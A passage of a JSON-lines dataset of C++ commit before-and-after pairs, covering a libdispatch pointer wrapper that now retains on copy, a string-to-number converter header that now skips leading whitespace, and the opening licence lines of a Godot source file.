void(t_owner::*t_fn)()>\n\tvoid dispatch_async_f(dispatch_queue_t queue, t_owner *obj)\n\t{\n\t\tdispatch_async_f(queue, obj, detail::call_member_function <t_owner, t_fn>);\n\t}\n\n\ttemplate <typename t_owner, void(t_owner::*t_fn)()>\n\tvoid dispatch_barrier_async_f(dispatch_queue_t queue, t_owner *obj)\n\t{\n\t\tdispatch_barrier_async_f(queue, obj, detail::call_member_function <t_owner, t_fn>);\n\t}\n\t\n\ttemplate <typename Fn>\n\tvoid dispatch_async_fn(dispatch_queue_t queue, Fn fn)\n\t{\n\t\t\/\/ A new expression doesn't leak memory if the object construction throws an exception.\n\t\ttypedef detail::dispatch_fn_context <Fn> context_type;\n\t\tauto *ctx(new context_type(std::move(fn)));\n\t\tdispatch_async_f(queue, ctx, &context_type::call_fn);\n\t}\n\t\n\ttemplate <typename Fn>\n\tvoid dispatch_barrier_async_fn(dispatch_queue_t queue, Fn fn)\n\t{\n\t\ttypedef detail::dispatch_fn_context <Fn> context_type;\n\t\tauto *ctx(new context_type(std::move(fn)));\n\t\tdispatch_barrier_async_f(queue, ctx, &context_type::call_fn);\n\t}\n\t\n\t\n\ttemplate <typename t_dispatch>\n\tclass dispatch_ptr\n\t{\n\tprotected:\n\t\tt_dispatch\tm_ptr{};\n\t\t\n\tpublic:\n\t\tdispatch_ptr()\n\t\t{\n\t\t}\n\t\t\n\t\tdispatch_ptr(t_dispatch ptr, bool retain = false):\n\t\t\tm_ptr(ptr)\n\t\t{\n\t\t\tif (m_ptr && retain)\n\t\t\t\tdispatch_retain(m_ptr);\n\t\t}\n\t\t\n\t\t~dispatch_ptr()\n\t\t{\n\t\t\tif (m_ptr)\n\t\t\t\tdispatch_release(m_ptr);\n\t\t}\n\t\t\n\t\tdispatch_ptr(dispatch_ptr const &other):\n\t\t\tdispatch_ptr(other.m_ptr)\n\t\t{\n\t\t}\n\t\t\n\t\tdispatch_ptr(dispatch_ptr &&other):\n\t\t\tm_ptr(other.m_ptr)\n\t\t{\n\t\t\tother.m_ptr = nullptr;\n\t\t}\n\t\t\n\t\tbool operator==(dispatch_ptr const &other) const\n\t\t{\n\t\t\treturn m_ptr == other.m_ptr;\n\t\t}\n\t\t\n\t\tbool operator!=(dispatch_ptr const &other) const\n\t\t{\n\t\t\treturn !(*this == other);\n\t\t}\n\t\t\n\t\tdispatch_ptr &operator=(dispatch_ptr const &other) &\n\t\t{\n\t\t\tif (*this != other)\n\t\t\t{\n\t\t\t\tif (m_ptr)\n\t\t\t\t\tdispatch_release(m_ptr);\n\t\t\t\t\n\t\t\t\tm_ptr = other.m_ptr;\n\t\t\t\tdispatch_retain(m_ptr);\n\t\t\t}\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\tdispatch_ptr &operator=(dispatch_ptr &&other) &\n\t\t{\n\t\t\tif (*this != other)\n\t\t\t{\n\t\t\t\tm_ptr = other.m_ptr;\n\t\t\t\tother.m_ptr = nullptr;\n\t\t\t}\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\tt_dispatch operator*() { return m_ptr; }\n\t};\n\t\n\t\n\ttemplate <typename t_dispatch>\n\tvoid swap(dispatch_ptr <t_dispatch> &lhs, dispatch_ptr <t_dispatch> &rhs)\n\t{\n\t\tusing std::swap;\n\t\tswap(lhs.m_ptr, rhs.m_ptr);\n\t}\n}\n\n#endif\n<commit_msg>Retain the dispatch pointer when needed<commit_after>\/*\n * Copyright (c) 2016-2017 Tuukka Norri\n * This code is licensed under MIT license (see LICENSE for details).\n *\/\n\n#ifndef VCF2MULTIALIGN_DISPATCH_FN_HH\n#define VCF2MULTIALIGN_DISPATCH_FN_HH\n\n#include <cassert>\n#include <cstdint>\n#include <cstdio>\n#include <dispatch\/dispatch.h>\n#include <iostream>\n#include <string>\n#include <stdexcept>\n\n\nnamespace vcf2multialign { namespace detail {\n\t\n\ttemplate <typename Fn>\n\tclass dispatch_fn_context\n\t{\n\tpublic:\n\t\ttypedef Fn function_type;\n\t\t\n\tprotected:\n\t\tfunction_type m_fn;\n\t\t\n\tpublic:\n\t\tdispatch_fn_context(Fn &&fn):\n\t\t\tm_fn(std::move(fn))\n\t\t{\n\t\t}\n\t\t\n\t\tstatic void call_fn(void *dispatch_context)\n\t\t{\n\t\t\tassert(dispatch_context);\n\t\t\tauto *ctx(reinterpret_cast <dispatch_fn_context *>(dispatch_context));\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tctx->m_fn();\n\t\t\t}\n\t\t\tcatch (std::exception const &exc)\n\t\t\t{\n\t\t\t\tstd::cerr << \"Caught exception: \" << exc.what() << std::endl;\n\t\t\t}\n\t\t\tcatch (...)\n\t\t\t{\n\t\t\t\tstd::cerr << \"Caught non-std::exception.\" << std::endl;\n\t\t\t}\n\t\t\t\n\t\t\tdelete ctx;\n\t\t}\n\t};\n\t\n\t\n\ttemplate <typename t_owner, void(t_owner::*t_fn)()>\n\tvoid call_member_function(void *ctx)\n\t{\n\t\tt_owner *owner(static_cast <t_owner *>(ctx));\n\t\t(owner->*t_fn)();\n\t}\n}}\n\n\nnamespace vcf2multialign {\n\t\n\t\/\/ Allow passing pointer-to-member-function to dispatch_async_f without std::function.\n\ttemplate <typename t_owner, void(t_owner::*t_fn)(void)>\n\tvoid dispatch_async_f(dispatch_queue_t queue, t_owner *obj)\n\t{\n\t\tdispatch_async_f(queue, obj, detail::call_member_function <t_owner, t_fn>);\n\t}\n\n\ttemplate <typename t_owner, void(t_owner::*t_fn)()>\n\tvoid dispatch_barrier_async_f(dispatch_queue_t queue, t_owner *obj)\n\t{\n\t\tdispatch_barrier_async_f(queue, obj, detail::call_member_function <t_owner, t_fn>);\n\t}\n\t\n\ttemplate <typename Fn>\n\tvoid dispatch_async_fn(dispatch_queue_t queue, Fn fn)\n\t{\n\t\t\/\/ A new expression doesn't leak memory if the object construction throws an exception.\n\t\ttypedef detail::dispatch_fn_context <Fn> context_type;\n\t\tauto *ctx(new context_type(std::move(fn)));\n\t\tdispatch_async_f(queue, ctx, &context_type::call_fn);\n\t}\n\t\n\ttemplate <typename Fn>\n\tvoid dispatch_barrier_async_fn(dispatch_queue_t queue, Fn fn)\n\t{\n\t\ttypedef detail::dispatch_fn_context <Fn> context_type;\n\t\tauto *ctx(new context_type(std::move(fn)));\n\t\tdispatch_barrier_async_f(queue, ctx, &context_type::call_fn);\n\t}\n\t\n\t\n\ttemplate <typename t_dispatch>\n\tclass dispatch_ptr\n\t{\n\tprotected:\n\t\tt_dispatch\tm_ptr{};\n\t\t\n\tpublic:\n\t\tdispatch_ptr()\n\t\t{\n\t\t}\n\t\t\n\t\tdispatch_ptr(t_dispatch ptr, bool retain = false):\n\t\t\tm_ptr(ptr)\n\t\t{\n\t\t\tif (m_ptr && retain)\n\t\t\t\tdispatch_retain(m_ptr);\n\t\t}\n\t\t\n\t\t~dispatch_ptr()\n\t\t{\n\t\t\tif (m_ptr)\n\t\t\t\tdispatch_release(m_ptr);\n\t\t}\n\t\t\n\t\tdispatch_ptr(dispatch_ptr const &other):\n\t\t\tdispatch_ptr(other.m_ptr, true)\n\t\t{\n\t\t}\n\t\t\n\t\tdispatch_ptr(dispatch_ptr &&other):\n\t\t\tm_ptr(other.m_ptr)\n\t\t{\n\t\t\tother.m_ptr = nullptr;\n\t\t}\n\t\t\n\t\tbool operator==(dispatch_ptr const &other) const\n\t\t{\n\t\t\treturn m_ptr == other.m_ptr;\n\t\t}\n\t\t\n\t\tbool operator!=(dispatch_ptr const &other) const\n\t\t{\n\t\t\treturn !(*this == other);\n\t\t}\n\t\t\n\t\tdispatch_ptr &operator=(dispatch_ptr const &other) &\n\t\t{\n\t\t\tif (*this != other)\n\t\t\t{\n\t\t\t\tif (m_ptr)\n\t\t\t\t\tdispatch_release(m_ptr);\n\t\t\t\t\n\t\t\t\tm_ptr = other.m_ptr;\n\t\t\t\tdispatch_retain(m_ptr);\n\t\t\t}\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\tdispatch_ptr &operator=(dispatch_ptr &&other) &\n\t\t{\n\t\t\tif (*this != other)\n\t\t\t{\n\t\t\t\tm_ptr = other.m_ptr;\n\t\t\t\tother.m_ptr = nullptr;\n\t\t\t}\n\t\t\treturn *this;\n\t\t}\n\t\t\n\t\tt_dispatch operator*() { return m_ptr; }\n\t};\n\t\n\t\n\ttemplate <typename t_dispatch>\n\tvoid swap(dispatch_ptr <t_dispatch> &lhs, dispatch_ptr <t_dispatch> &rhs)\n\t{\n\t\tusing std::swap;\n\t\tswap(lhs.m_ptr, rhs.m_ptr);\n\t}\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/@\t{\n\/\/@\t\"targets\":[{\"name\":\"converters.hpp\",\"type\":\"include\"}]\n\/\/@\t}\n\n#ifndef TEMPLE_CONVERTERS_HPP\n#define TEMPLE_CONVERTERS_HPP\n\n#include \"error.hpp\"\n#include <cstdlib>\n#include <cerrno>\n#include <locale.h>\n#include <cmath>\n#include <limits>\n#include <cinttypes>\n#include <cstdio>\n#include <type_traits>\n\nnamespace Temple\n\t{\n\tstruct Locale\n\t\t{\n\t\tLocale():m_handle(newlocale(LC_ALL,\"C\",0))\n\t\t\t{m_loc_old=uselocale(m_handle);}\n\t\t~Locale()\n\t\t\t{\n\t\t\tuselocale(m_loc_old);\n\t\t\tfreelocale(m_handle);\n\t\t\t}\n\n\t\tlocale_t m_handle;\n\t\tlocale_t m_loc_old;\n\t\t};\n\n\ttemplate<size_t size>\n\tstruct Integer\n\t\t{};\n\n\ttemplate<>\n\tstruct Integer<1>\n\t\t{using type=int8_t;};\n\n\ttemplate<>\n\tstruct Integer<2>\n\t\t{using type=int16_t;};\n\n\ttemplate<>\n\tstruct Integer<4>\n\t\t{using type=int32_t;};\n\n\ttemplate<>\n\tstruct Integer<8>\n\t\t{using type=int64_t;};\n\t\t\n\n\n\/\/Helpers for numeric types\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tlong strtol(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtol(str.c_str(),&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tlong long strtoll(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtoll(str.c_str(),&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tunsigned long strtoul(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\t\n\t\tif(*str.c_str()=='-')\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\t\terrno=0;\n\t\tauto x=::strtoul(str.c_str(),&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tunsigned long long strtoull(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\tif(*str.c_str()=='-')\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\terrno=0;\n\t\tauto x=::strtoull(str.c_str(),&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tfloat strtof(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtof(str.c_str(),&endptr);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid floating point number.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tdouble strtod(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtod(str.c_str(),&endptr);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid floating point number.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\n\/\/\tString to number converters\n\n\ttemplate<class T>\n\tstruct Converter\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic const StringType& convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return value;}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int8_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int8_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtol(value,eh);\n\t\t\tif(x<-128 || x>127)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int16_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int16_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtol(value,eh);\n\t\t\tif(x<-32768 || x>32767)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int32_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int32_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtoll(value,eh);\n\t\t\tif(x<-2147483648 || x>2147483647)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int64_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int64_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtoll(value,eh);}\n\t\t};\n\n\n\n\ttemplate<>\n\tstruct Converter<uint8_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint8_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtol(value,eh);\n\t\t\tif(x>0xff)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<uint16_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint16_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtoul(value,eh);\n\t\t\tif(x>0xffff)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<uint32_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint32_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtoull(value,eh);\n\t\t\tif(x>0xffffffff)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<uint64_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint64_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtoull(value,eh);}\n\t\t};\n\n\n\n\ttemplate<>\n\tstruct Converter<float>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic float convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtof(value,eh);}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<double>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic double convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtod(value,eh);}\n\t\t};\n\n\n\/\/\tWrapper function\n\n\ttemplate<class T,class StringType,class ExceptionHandler>\n\tT convert(const StringType& value,ExceptionHandler& eh)\n\t\t{return Converter<T>::convert(value,eh);}\n\n\n\/\/\tHelper for counting digits\n\ttemplate<class T>\n\tstatic constexpr size_t digits() noexcept\n\t\t{return static_cast<size_t>( std::log10( std::numeric_limits<T>::max() ) ) + 1;}\n\n\n\/\/\tNumber to string conversion\n\n\ttemplate<class Number>\n\tauto convert(Number i) noexcept\n\t\t{\n\t\tstd::array<char,digits<Number>() + 2> buffer; \/\/Sign + nul character\n\t\tsprintf(buffer.data(),\"%\" PRIdMAX ,static_cast<intmax_t>(i));\n\t\treturn buffer;\n\t\t}\n\n\ttemplate<>\n\tauto convert<float>(float x) noexcept\n\t\t{\n\t\tstd::array<char,16> buffer;\n\t\tsprintf(buffer.data(),\"%.9g\",x);\n\t\treturn buffer;\n\t\t}\n\n\ttemplate<>\n\tauto convert<double>(double x) noexcept\n\t\t{\n\t\tstd::array<char,24> buffer;\n\t\tsprintf(buffer.data(),\"%.17g\",x);\n\t\treturn buffer;\n\t\t}\n\t}\n\n#endif\n<commit_msg>Skip whitespace<commit_after>\/\/@\t{\n\/\/@\t\"targets\":[{\"name\":\"converters.hpp\",\"type\":\"include\"}]\n\/\/@\t}\n\n#ifndef TEMPLE_CONVERTERS_HPP\n#define TEMPLE_CONVERTERS_HPP\n\n#include \"error.hpp\"\n#include <cstdlib>\n#include <cerrno>\n#include <locale.h>\n#include <cmath>\n#include <limits>\n#include <cinttypes>\n#include <cstdio>\n#include <type_traits>\n\nnamespace Temple\n\t{\n\tstruct Locale\n\t\t{\n\t\tLocale():m_handle(newlocale(LC_ALL,\"C\",0))\n\t\t\t{m_loc_old=uselocale(m_handle);}\n\t\t~Locale()\n\t\t\t{\n\t\t\tuselocale(m_loc_old);\n\t\t\tfreelocale(m_handle);\n\t\t\t}\n\n\t\tlocale_t m_handle;\n\t\tlocale_t m_loc_old;\n\t\t};\n\n\ttemplate<size_t size>\n\tstruct Integer\n\t\t{};\n\n\ttemplate<>\n\tstruct Integer<1>\n\t\t{using type=int8_t;};\n\n\ttemplate<>\n\tstruct Integer<2>\n\t\t{using type=int16_t;};\n\n\ttemplate<>\n\tstruct Integer<4>\n\t\t{using type=int32_t;};\n\n\ttemplate<>\n\tstruct Integer<8>\n\t\t{using type=int64_t;};\n\t\t\n\n\n\/\/Helpers for numeric types\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tlong strtol(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtol(str.c_str(),&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value «\",str.c_str(),\"» is out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tlong long strtoll(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtoll(str.c_str(),&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value «\",str.c_str(),\"» is out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tconst char* signCheck(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tauto ptr=str.c_str();\n\t\twhile(*ptr!='\\0' && isspace(*ptr))\n\t\t\t{++ptr;}\n\t\tif(*ptr=='-')\n\t\t\t{raise(Temple::Error(\"Value «\",str.c_str(),\"» is out of range.\"),eh);}\n\t\treturn ptr;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tunsigned long strtoul(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tauto ptr=signCheck(str,eh);\n\t\terrno=0;\n\t\tchar* endptr=nullptr;\n\t\tauto x=::strtoul(ptr,&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tunsigned long long strtoull(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tauto ptr=signCheck(str,eh);\n\t\terrno=0;\n\t\tchar* endptr=nullptr;\n\t\tauto x=::strtoull(ptr,&endptr,0);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid integer.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tfloat strtof(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtof(str.c_str(),&endptr);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid floating point number.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\ttemplate<class StringType,class ExceptionHandler>\n\tdouble strtod(const StringType& str,ExceptionHandler& eh)\n\t\t{\n\t\tchar* endptr=nullptr;\n\t\terrno=0;\n\t\tauto x=::strtod(str.c_str(),&endptr);\n\t\tif(errno==ERANGE)\n\t\t\t{raise(Temple::Error(\"Value \",str.c_str(),\" out of range.\"),eh);}\n\n\t\tif(*endptr!='\\0' || endptr==str.c_str())\n\t\t\t{raise(Temple::Error(\"«\",str.c_str(),\"» is not a valid floating point number.\"),eh);}\n\n\t\treturn x;\n\t\t}\n\n\n\/\/\tString to number converters\n\n\ttemplate<class T>\n\tstruct Converter\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic const StringType& convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return value;}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int8_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int8_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtol(value,eh);\n\t\t\tif(x<-128 || x>127)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int16_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int16_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtol(value,eh);\n\t\t\tif(x<-32768 || x>32767)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int32_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int32_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtoll(value,eh);\n\t\t\tif(x<-2147483648 || x>2147483647)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<int64_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic int64_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtoll(value,eh);}\n\t\t};\n\n\n\n\ttemplate<>\n\tstruct Converter<uint8_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint8_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtol(value,eh);\n\t\t\tif(x>0xff)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<uint16_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint16_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtoul(value,eh);\n\t\t\tif(x>0xffff)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<uint32_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint32_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{\n\t\t\tauto x=strtoull(value,eh);\n\t\t\tif(x>0xffffffff)\n\t\t\t\t{raise(Temple::Error(\"Value \",value.c_str(),\" out of range.\"),eh);}\n\t\t\treturn x;\n\t\t\t}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<uint64_t>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic uint64_t convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtoull(value,eh);}\n\t\t};\n\n\n\n\ttemplate<>\n\tstruct Converter<float>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic float convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtof(value,eh);}\n\t\t};\n\n\ttemplate<>\n\tstruct Converter<double>\n\t\t{\n\t\ttemplate<class StringType,class ExceptionHandler>\n\t\tstatic double convert(const StringType& value,ExceptionHandler& eh)\n\t\t\t{return strtod(value,eh);}\n\t\t};\n\n\n\/\/\tWrapper function\n\n\ttemplate<class T,class StringType,class ExceptionHandler>\n\tT convert(const StringType& value,ExceptionHandler& eh)\n\t\t{return Converter<T>::convert(value,eh);}\n\n\n\/\/\tHelper for counting digits\n\ttemplate<class T>\n\tstatic constexpr size_t digits() noexcept\n\t\t{return static_cast<size_t>( std::log10( std::numeric_limits<T>::max() ) ) + 1;}\n\n\n\/\/\tNumber to string conversion\n\n\ttemplate<class Number>\n\tauto convert(Number i) noexcept\n\t\t{\n\t\tstd::array<char,digits<Number>() + 2> buffer; \/\/Sign + nul character\n\t\tsprintf(buffer.data(),\"%\" PRIdMAX ,static_cast<intmax_t>(i));\n\t\treturn buffer;\n\t\t}\n\n\ttemplate<>\n\tauto convert<float>(float x) noexcept\n\t\t{\n\t\tstd::array<char,16> buffer;\n\t\tsprintf(buffer.data(),\"%.9g\",x);\n\t\treturn buffer;\n\t\t}\n\n\ttemplate<>\n\tauto convert<double>(double x) noexcept\n\t\t{\n\t\tstd::array<char,24> buffer;\n\t\tsprintf(buffer.data(),\"%.17g\",x);\n\t\treturn buffer;\n\t\t}\n\t}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\/\n\/*  array.cpp                                                            *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md)    *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in 